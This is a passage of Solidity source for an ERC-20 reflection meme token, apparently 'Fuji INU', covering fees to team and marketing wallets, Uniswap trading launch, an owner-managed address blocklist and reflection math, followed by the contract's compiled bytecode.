}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600881526020017f46756a6920494e55000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f46554a4920e29bb0000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b600f42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b110ebdefae2d954d6679c3e1f957fe7337aead4d96d8faf493cd1caa56c1c7264736f6c63430008040033
|
